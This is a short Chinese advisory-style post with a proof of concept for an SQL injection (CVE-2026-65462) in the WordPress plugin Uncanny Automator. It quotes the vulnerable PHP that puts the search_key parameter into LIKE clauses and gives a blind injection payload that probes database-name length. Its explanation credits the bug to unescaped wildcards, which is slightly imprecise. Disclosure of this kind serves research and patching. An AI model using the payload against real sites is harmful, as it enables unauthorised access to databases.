wordpress插件Uncanny Automator CVE-2026-65462 PoC
原创
微慑网
微慑网
微慑网
2026年7月28日 13:55
广东
在小说阅读器读本章
去阅读
Uncanny Automator <=7.3.2
该漏洞源于src/global-functions.php约352-358行，sanitize\text\_field() 只移除 HTML 标签和转义 HTML 实体，不会转义 SQL 通配符 (%, \)，导致 LIKE 注入
src/core/admin/admin-logs/wp-list-table/class-logs-list-table.php
if ( automator_filter_has_var( 'search_key' ) && '' !== automator_filter_input( 'search_key' ) ) { $search_key = sanitize_text_field( automator_filter_input( 'search_key' ) ); if ( $view_exists ) { $search_conditions .= \" AND ( (recipe_title LIKE '%$search_key%') OR ... ) \"; } else { $search_conditions .= \" AND ( (p.post_title LIKE '%$search_key%') OR ... ) \"; }}
程序位置 ：
PoC：
') and (length(database())=**) and(1 like '1
脚本：
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论